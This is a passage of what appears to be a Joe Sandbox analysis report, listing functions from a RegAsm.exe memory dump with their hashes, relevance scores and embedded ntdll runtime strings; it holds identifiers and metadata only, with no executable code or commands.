                                Similarity
                                • API ID:
                                • String ID:
                                • API String ID:
                                • Opcode ID: 7a50d1bdd127c266be118998907985475c5596cf223ac3b42452aa5384a2800c
                                • Instruction ID: 7e10a87195fa1a5cbdec14d7285c3d171460eb692888b4fc1c8cb4127583a2ea
                                • Opcode Fuzzy Hash: 7a50d1bdd127c266be118998907985475c5596cf223ac3b42452aa5384a2800c
                                • Instruction Fuzzy Hash: 86900475713C04031105F5DC570450704C7C7F5351355C031F1015550CD731CD715131
                                Function 03092AF0 Relevance: .0, Instructions: 4COMMON
                                Download Yara Rule
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID:
                                • API String ID:
                                • Opcode ID: aa87c209a4d4f433fd1540710d125e82c349201a48712adfc9171e9bbcd263e1
                                • Instruction ID: 08c42b6c5dff3bcc14d8db36dc3ef634afda4c323ad2abd2413d1fe325b55848
                                • Opcode Fuzzy Hash: aa87c209a4d4f433fd1540710d125e82c349201a48712adfc9171e9bbcd263e1
                                • Instruction Fuzzy Hash: 55900265722804021145F5DC560450B088597E6351395C015F1416590CC72189655321
                                Function 030939B0 Relevance: .0, Instructions: 4COMMON
                                Download Yara Rule
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID:
                                • API String ID:
                                • Opcode ID: 60c6f9eed8087329f1fce075c7077176b926141769162f8251ad42c64ec6d8c0
                                • Instruction ID: 936dae6fb24fe1fcc8ca9ba6363eb2bbb6900730203969cbff89b6303f5911db
                                • Opcode Fuzzy Hash: 60c6f9eed8087329f1fce075c7077176b926141769162f8251ad42c64ec6d8c0
                                • Instruction Fuzzy Hash: A690026174685502E150B1DC94046164445A7F0201F55C021A0814594D865589556221
                                Function 03092F30 Relevance: .0, Instructions: 4COMMONLIBRARYCODE
                                Download Yara Rule
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID:
                                • API String ID:
                                • Opcode ID: 208fed9fe70b537c976e4c65e2834b74603a43ee5205813a0a1d26a90d53e2b7
                                • Instruction ID: eabda0a3a17a4cc5e64c7874520055868a19f7565f6855576cf73e1922d8477a
                                • Opcode Fuzzy Hash: 208fed9fe70b537c976e4c65e2834b74603a43ee5205813a0a1d26a90d53e2b7
                                • Instruction Fuzzy Hash: 809002A174280842E100B1DC9414B060445C7F1301F55C015E1064554D8719CD526126
                                Function 03092F60 Relevance: .0, Instructions: 4COMMON
                                Download Yara Rule
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID:
                                • API String ID:
                                • Opcode ID: 5900ae12f1c12d37c13e6eb1def7497d761390fed9348ee444123f6c528b6896
                                • Instruction ID: e2cf1477ef7e548f6278df8b67b2dfc9c8b9b5b19d7fcf17f55615df27148f6c
                                • Opcode Fuzzy Hash: 5900ae12f1c12d37c13e6eb1def7497d761390fed9348ee444123f6c528b6896
                                • Instruction Fuzzy Hash: E19002A171280442E104B1DC9404706048587F1201F55C012A2154554CC6298D615125
                                Function 03092F90 Relevance: .0, Instructions: 4COMMON
                                Download Yara Rule
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID:
                                • API String ID:
                                • Opcode ID: 5b005a2d743bfdff821c4febf773553d2dc6048de1cc7b7195b79c6eb667e78f
                                • Instruction ID: 73ba5a928cf3832ac7a632056b3f57d1ddc6bd4268bb7b5ce0593d4ea783f928
                                • Opcode Fuzzy Hash: 5b005a2d743bfdff821c4febf773553d2dc6048de1cc7b7195b79c6eb667e78f
                                • Instruction Fuzzy Hash: 86900271702C0802E100B1DC981470B044587E0302F55C011A1164555D872589516571
                                Function 03092FA0 Relevance: .0, Instructions: 4COMMON
                                Download Yara Rule
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID:
                                • API String ID:
                                • Opcode ID: fcfe2951d808b1f4776be1401033d610ffd2ca7dc300805f08a5c5877d7821ac
                                • Instruction ID: 45c9f4de172ba0a74cd1463bfcc166e032ed5764a66819f4883f83a796a83d69
                                • Opcode Fuzzy Hash: fcfe2951d808b1f4776be1401033d610ffd2ca7dc300805f08a5c5877d7821ac
                                • Instruction Fuzzy Hash: BA900271702C0802E100B1DC9808747044587E0302F55C011A5164555E8765C9916531
                                Function 03092FB0 Relevance: .0, Instructions: 4COMMON
                                Download Yara Rule
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID:
                                • API String ID:
                                • Opcode ID: df20b500a9d0264a0694a18848c06c221b3ba25350d8b3634398d1f0baeb8ab2
                                • Instruction ID: 0030ac85f373a10f230c0abb551a785d2ad59c9fe69b7c7256ec21b088741b2f
                                • Opcode Fuzzy Hash: df20b500a9d0264a0694a18848c06c221b3ba25350d8b3634398d1f0baeb8ab2
                                • Instruction Fuzzy Hash: 7F900261B02804425140B1ECD8449064445ABF1211755C121A0998550D865989655665
                                Function 03092FE0 Relevance: .0, Instructions: 4COMMON
                                Download Yara Rule
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID:
                                • API String ID:
                                • Opcode ID: ca2cbd94176a8985892efdfe57278fa4219a8274ca10e4800bb3471f94b391ac
                                • Instruction ID: ebad0d73a34809a8e53cdbb00ba94a4353df6577dc89e226785fdbef313c2a05
                                • Opcode Fuzzy Hash: ca2cbd94176a8985892efdfe57278fa4219a8274ca10e4800bb3471f94b391ac
                                • Instruction Fuzzy Hash: 5C900261712C0442E200B5EC9C14B07044587E0303F55C115A0154554CCA1589615521
                                Function 03092E30 Relevance: .0, Instructions: 4COMMON
                                Download Yara Rule
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID:
                                • API String ID:
                                • Opcode ID: facb9fb352381d1b78ba9f8dff937affdaf95ece191db14c908d7cd51bc3e80b
                                • Instruction ID: 05d5d6f9ea82ed9407034cc22d5555a67298381138dfaf740de5f00639848b76
                                • Opcode Fuzzy Hash: facb9fb352381d1b78ba9f8dff937affdaf95ece191db14c908d7cd51bc3e80b
                                • Instruction Fuzzy Hash: 3090026170280802E102B1DC94146060449C7E1345F95C012E1424555D87258A53A132
                                Function 03092E80 Relevance: .0, Instructions: 4COMMON
                                Download Yara Rule
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID:
                                • API String ID:
                                • Opcode ID: f2013ff0630e7100ac6aec60bacbe6cbb877f58a6f1372033a7c32a424bdc4d1
                                • Instruction ID: 765a5f4abad16818fb27d4f375108811416d6dc36079a2a574d1f76b69f0c4ea
                                • Opcode Fuzzy Hash: f2013ff0630e7100ac6aec60bacbe6cbb877f58a6f1372033a7c32a424bdc4d1
                                • Instruction Fuzzy Hash: E8900261B0280902E101B1DC9404616044A87E0241F95C022A1024555ECB258A92A131
                                Function 03092EA0 Relevance: .0, Instructions: 4COMMON
                                Download Yara Rule
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID:
                                • API String ID:
                                • Opcode ID: 0e1fc875878c580d496c6713fb5c1b9e3d9b03215b2adfe5972659cf3db74e42
                                • Instruction ID: 92b1ba7155fa4e2dbb61df2ad2bd3b360d926d70c6dd5bfed4ddaa4b42814133
                                • Opcode Fuzzy Hash: 0e1fc875878c580d496c6713fb5c1b9e3d9b03215b2adfe5972659cf3db74e42
                                • Instruction Fuzzy Hash: 939002B170280802E140B1DC9404746044587E0301F55C011A5064554E87598ED56665
                                Function 03092EE0 Relevance: .0, Instructions: 4COMMON
                                Download Yara Rule
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID:
                                • API String ID:
                                • Opcode ID: c9f2556801bfb37bbc79590a64d31f59fad71ede16c8665d498ab497bd0e22b4
                                • Instruction ID: 9e78f80f858fb3a748b40bc4721e098f2b1235491e5f39946faf0fafb022cfd2
                                • Opcode Fuzzy Hash: c9f2556801bfb37bbc79590a64d31f59fad71ede16c8665d498ab497bd0e22b4
                                • Instruction Fuzzy Hash: D09002A1702C0803E140B5DC9804607044587E0302F55C011A2064555E8B298D516135
                                Function 03092D00 Relevance: .0, Instructions: 4COMMON
                                Download Yara Rule
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID:
                                • API String ID:
                                • Opcode ID: f271943fd523f4911e41339be1d3122c1159d3edfdd3e76410628fa4254497bf
                                • Instruction ID: fce32066829e8a04db924cb8790f522fab7897a10cf6c704e7f1d1e40c008af9
                                • Opcode Fuzzy Hash: f271943fd523f4911e41339be1d3122c1159d3edfdd3e76410628fa4254497bf
                                • Instruction Fuzzy Hash: 0E90026170684842E100B5DCA408A06044587E0205F55D011A1064595DC7358951A131
                                Function 03092D10 Relevance: .0, Instructions: 4COMMONLIBRARYCODE
                                Download Yara Rule
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID:
                                • API String ID:
                                • Opcode ID: 890f3960cf126588216944cb3878092931507f4f1a5fe9eb9eab2d78cf10d0b6
                                • Instruction ID: 84f161529564ff01577915f0755942248f3f274dbd8fa7a2924a3bda0b66804d
                                • Opcode Fuzzy Hash: 890f3960cf126588216944cb3878092931507f4f1a5fe9eb9eab2d78cf10d0b6
                                • Instruction Fuzzy Hash: 2090026971380402E180B1DCA40860A044587E1202F95D415A0015558CCA1589695321
                                Function 03093D10 Relevance: .0, Instructions: 4COMMON
                                Download Yara Rule
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID:
                                • API String ID:
                                • Opcode ID: dc000dc2b753b82e8ff8d5edb6a986a87283e299062e3d8779b8121090f0dbea
                                • Instruction ID: 80eb40bc6d0c48eb94aeb107374bfcbb90699aecbf8c6b37d0d1b1af773a021b
                                • Opcode Fuzzy Hash: dc000dc2b753b82e8ff8d5edb6a986a87283e299062e3d8779b8121090f0dbea
                                • Instruction Fuzzy Hash: 5490027170380542A540B2DCA804A4E454587F1302B95D415A0015554CCA1489615221
                                Function 03092D30 Relevance: .0, Instructions: 4COMMONLIBRARYCODE
                                Download Yara Rule
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID:
                                • API String ID:
                                • Opcode ID: f80d497db28b74d7f86a7f84a3b5b7a11d10be3e0f523b04935d9fd330fa834c
                                • Instruction ID: ef3dfbe931edf5a2c55f4da43b569f33f4ba8e58d498295d9491ec8ba08ab6c2
                                • Opcode Fuzzy Hash: f80d497db28b74d7f86a7f84a3b5b7a11d10be3e0f523b04935d9fd330fa834c
                                • Instruction Fuzzy Hash: A490026170280403E140B1DCA4186064445D7F1301F55D011E0414554CDA1589565222
                                Function 03093D70 Relevance: .0, Instructions: 4COMMON
                                Download Yara Rule
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID:
                                • API String ID:
                                • Opcode ID: 7fad1ca5c8a1742200fa40ff365d3a8fb5154fcba3e63b7bc640fdb3df2d10e8
                                • Instruction ID: f11d5bb67b946df41aa8e156b579ef6d8ea7a7305f08f5e192f132c7e0510179
                                • Opcode Fuzzy Hash: 7fad1ca5c8a1742200fa40ff365d3a8fb5154fcba3e63b7bc640fdb3df2d10e8
                                • Instruction Fuzzy Hash: 8F90027570280802E510B1DCA804646048687E0301F55D411A0424558D875489A1A121
                                Function 03092DB0 Relevance: .0, Instructions: 4COMMON
                                Download Yara Rule
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID:
                                • API String ID:
                                • Opcode ID: a23cea964420ece9275c41fc89303a1c72c97ae83fcdcc7a65590f4755b05531
                                • Instruction ID: c14da4ed65e951d6972dd7177efe1241ff2a80bbbb9fdb69c57c9ae4c695b51e
                                • Opcode Fuzzy Hash: a23cea964420ece9275c41fc89303a1c72c97ae83fcdcc7a65590f4755b05531
                                • Instruction Fuzzy Hash: 8890027174280802E141B1DC9404606044997E0241F95C012A0424554E87558B56AA61
                                Function 03092DD0 Relevance: .0, Instructions: 4COMMON
                                Download Yara Rule
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID:
                                • API String ID:
                                • Opcode ID: a5e470e6fe859458566f7659fa5179eaab2668b562e3a2124ff735d5da1b8e75
                                • Instruction ID: 5aeaacb22e8e0644ebead491f1955a90625cc573b66eecf6cc2ceab0c370a44b
                                • Opcode Fuzzy Hash: a5e470e6fe859458566f7659fa5179eaab2668b562e3a2124ff735d5da1b8e75
                                • Instruction Fuzzy Hash: 9A900261743845526545F1DC9404507444697F0241795C012A1414950C86269956D621
                                Function 03092C60 Relevance: .0, Instructions: 4COMMON
                                Download Yara Rule
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID:
                                • API String ID:
                                • Opcode ID: d9821243f2bcf7a32e493de189da691a367ceaa77226b4f2bcd8e0eda67d548d
                                • Instruction ID: 50eec82a118d61bae563cff32cefb99f6176c8071bad8d311a6af2f7c31e3b6c
                                • Opcode Fuzzy Hash: d9821243f2bcf7a32e493de189da691a367ceaa77226b4f2bcd8e0eda67d548d
                                • Instruction Fuzzy Hash: DF90027170280C42E100B1DC9404B46044587F0301F55C016A0124654D8715C9517521
                                Function 03092CA0 Relevance: .0, Instructions: 4COMMON
                                Download Yara Rule
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID:
                                • API String ID:
                                • Opcode ID: a0926e44e6e3f4f3e5031c20fac1ca67482fc602e1020517ef780fb9b51f0ea3
                                • Instruction ID: 265e569b1773dc63d71095544e6c140b62899a2c3bc4c00dba03998acfb90b71
                                • Opcode Fuzzy Hash: a0926e44e6e3f4f3e5031c20fac1ca67482fc602e1020517ef780fb9b51f0ea3
                                • Instruction Fuzzy Hash: 1C90027170280802E100B5DCA408646044587F0301F55D011A5024555EC76589916131
                                Function 03092CC0 Relevance: .0, Instructions: 4COMMONLIBRARYCODE
                                Download Yara Rule
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID:
                                • API String ID:
                                • Opcode ID: a4d82a99177b52301c1aac03c73e8a2b443430b761b2e0610b22c506267e0c7e
                                • Instruction ID: e025c5b4e15a1df4c4cd5fc05a543672110328b32b6de9ee49da52f028b9480f
                                • Opcode Fuzzy Hash: a4d82a99177b52301c1aac03c73e8a2b443430b761b2e0610b22c506267e0c7e
                                • Instruction Fuzzy Hash: 90900261B0680802E140B1DCA418706045587E0201F55D011A0024554DC7598B5566A1
                                Function 03092CF0 Relevance: .0, Instructions: 4COMMON
                                Download Yara Rule
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID:
                                • API String ID:
                                • Opcode ID: 644fe0ba1f0379136659a9b5c87a37240efa656455d8e9efea7d54f01dfd07e1
                                • Instruction ID: d92026416b486e96a1b7e6c30e35bb7a1323f350adc30942fcbc5165f8df02f1
                                • Opcode Fuzzy Hash: 644fe0ba1f0379136659a9b5c87a37240efa656455d8e9efea7d54f01dfd07e1
                                • Instruction Fuzzy Hash: 7790027170280803E100B1DCA508707044587E0201F55D411A0424558DD75689516121
                                Function 03092C00 Relevance: .0, Instructions: 2COMMONLIBRARYCODE
                                Download Yara Rule
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID:
                                • API String ID:
                                • Opcode ID: a3d3d3c0123cddb368cc51eab9da9c3aaeeac76cd7bbfae310620ba6f7f49b43
                                • Instruction ID: 73323e50e98af71f68c74f83920c14b445d2e28086d1ca6cda27a5db67e92325
                                • Opcode Fuzzy Hash: a3d3d3c0123cddb368cc51eab9da9c3aaeeac76cd7bbfae310620ba6f7f49b43
                                • Instruction Fuzzy Hash:
                                Function 03092890 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 190COMMON
                                Download Yara Rule
                                APIs
                                Strings
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID: ___swprintf_l
                                • String ID: :%u.%u.%u.%u$::%hs%u.%u.%u.%u$::ffff:0:%u.%u.%u.%u$ffff:
                                • API String ID: 48624451-2108815105
                                • Opcode ID: df81b7881121f3e46e114281a37ff92426e3751765e9f637d9d1e1676c0aa039
                                • Instruction ID: 34c3ae5f7c2185c2715c4bbb1495f6084ddef1f04ab1bae48b596b28252314c4
                                • Opcode Fuzzy Hash: df81b7881121f3e46e114281a37ff92426e3751765e9f637d9d1e1676c0aa039
                                • Instruction Fuzzy Hash: 5C51E8B5A0215EBFDF10DB98888097FF7FCBB48200B14C9AAE4A5D7641D234DE509BE0
                                Function 03087630 Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 194COMMON
                                Download Yara Rule
                                Strings
                                • CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database, xrefs: 030C46FC
                                • Execute=1, xrefs: 030C4713
                                • CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ, xrefs: 030C4725
                                • CLIENT(ntdll): Processing section info %ws..., xrefs: 030C4787
                                • ExecuteOptions, xrefs: 030C46A0
                                • CLIENT(ntdll): Processing %ws for patching section protection for %wZ, xrefs: 030C4742
                                • CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions, xrefs: 030C4655
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID: CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions$CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ$CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database$CLIENT(ntdll): Processing %ws for patching section protection for %wZ$CLIENT(ntdll): Processing section info %ws...$Execute=1$ExecuteOptions
                                • API String ID: 0-484625025
                                • Opcode ID: b60dd9e91189c1786a672a6185a5a7d3a8347b9ce68de467d38f75c6ecd1300f
                                • Instruction ID: f089d2b6831c5937d97e7ac7d2bc37f8a13e5bfb62670d75b785979321ccfacb
                                • Opcode Fuzzy Hash: b60dd9e91189c1786a672a6185a5a7d3a8347b9ce68de467d38f75c6ecd1300f
                                • Instruction Fuzzy Hash: B25127356023096AEF11FFA5DC95FEE73A8AF49700F1800A9D545AB191EB709A41CF60
                                Function 0309B5EC Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 238COMMON
                                Download Yara Rule
                                APIs
                                Strings
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID: __aulldvrm
                                • String ID: +$-$0$0
                                • API String ID: 1302938615-699404926
                                • Opcode ID: 53abcd45f1248799eb7edd6da4205106d70e70754ef1e870ff48280e40c18d32
                                • Instruction ID: 94ad4654b3f1142218e17634cfda67b94708d02a5d18484870de1f70be7c768d
                                • Opcode Fuzzy Hash: 53abcd45f1248799eb7edd6da4205106d70e70754ef1e870ff48280e40c18d32
                                • Instruction Fuzzy Hash: EC818C30A062499BFF24CE68E8917EEBBE5AF45330F18469BD861A7290C6349841EB50
                                Function 0307F5B0 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 382COMMON
                                Download Yara Rule
                                Strings
                                • RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u, xrefs: 030C02E7
                                • RTL: Enter CriticalSection Timeout (%I64u secs) %d, xrefs: 030C02BD
                                • RTL: Re-Waiting, xrefs: 030C031E
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID: RTL: Enter CriticalSection Timeout (%I64u secs) %d$RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u$RTL: Re-Waiting
                                • API String ID: 0-2474120054
                                • Opcode ID: c29a3890d59410a4cb23a60a2aa3626f1d1884b140d42be41751c9e6d53427ea
                                • Instruction ID: 17386853f3090f25bc9f21ed2935e2f3923361b6c0c4ad858b69d10604ec3598
                                • Opcode Fuzzy Hash: c29a3890d59410a4cb23a60a2aa3626f1d1884b140d42be41751c9e6d53427ea
                                • Instruction Fuzzy Hash: 19E1E130A16782DFD764CF28C884B6AB7E4BF88324F184A5DF4A58B2E0D774D844CB56
                                Function 0308BED0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 129COMMON
                                Download Yara Rule
                                Strings
                                • RTL: Acquire Exclusive Sem Timeout %d (%I64u secs), xrefs: 030C7B7F
                                • RTL: Resource at %p, xrefs: 030C7B8E
                                • RTL: Re-Waiting, xrefs: 030C7BAC
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID: RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
                                • API String ID: 0-871070163
                                • Opcode ID: 992635105309fbd286456f82642201bef43da819779698ecd33843c5bc852122
                                • Instruction ID: 4638009a55e203282b41bfe13216e49892f31a7e7965af9e63884db0d1dbba4d
                                • Opcode Fuzzy Hash: 992635105309fbd286456f82642201bef43da819779698ecd33843c5bc852122
                                • Instruction Fuzzy Hash: EA41E2357067029FD724EF29C840B6AB7E5EF89720F140A1DF89A9B281DB71E4058F91
                                Function 0308B4C0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 121COMMON
                                Download Yara Rule
                                APIs
                                • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 030C728C
                                Strings
                                • RTL: Resource at %p, xrefs: 030C72A3
                                • RTL: Re-Waiting, xrefs: 030C72C1
                                • RTL: Acquire Shared Sem Timeout %d(%I64u secs), xrefs: 030C7294
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
                                • String ID: RTL: Acquire Shared Sem Timeout %d(%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
                                • API String ID: 885266447-605551621
                                • Opcode ID: b5628e8dae4c71a8ef0a48140df1f2f0438584878441d01af289231560a605ea
                                • Instruction ID: 63a0b27a0330bdb187215f611065d6ca147720fd19845e86b2fb4efe0cc3e88e
                                • Opcode Fuzzy Hash: b5628e8dae4c71a8ef0a48140df1f2f0438584878441d01af289231560a605ea
                                • Instruction Fuzzy Hash: A4410235702746AFD720DF25CC41B6AB7E5FF84B20F184A1DF895AB640DB21E8068BD1
                                Function 03097D61 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 284COMMON
                                Download Yara Rule
                                APIs
                                Strings
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID: __aulldvrm
                                • String ID: +$-
                                • API String ID: 1302938615-2137968064
                                • Opcode ID: 0e72ee8b5e9315034f2b46ff5b251d52fedc42f24a18d50ff17db184198f4ea1
                                • Instruction ID: 6be6d1d50c51ab6bcd041f65618a42fdc8a41514d42a0e4757458628c14758ce
                                • Opcode Fuzzy Hash: 0e72ee8b5e9315034f2b46ff5b251d52fedc42f24a18d50ff17db184198f4ea1
                                • Instruction Fuzzy Hash: DF91A372E1221A9FFF64DE69C8917BEB7F5AF84B20F18451BE865A72D0D7308940A710
                                Function 03059126 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 199COMMON
                                Download Yara Rule
                                Strings
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
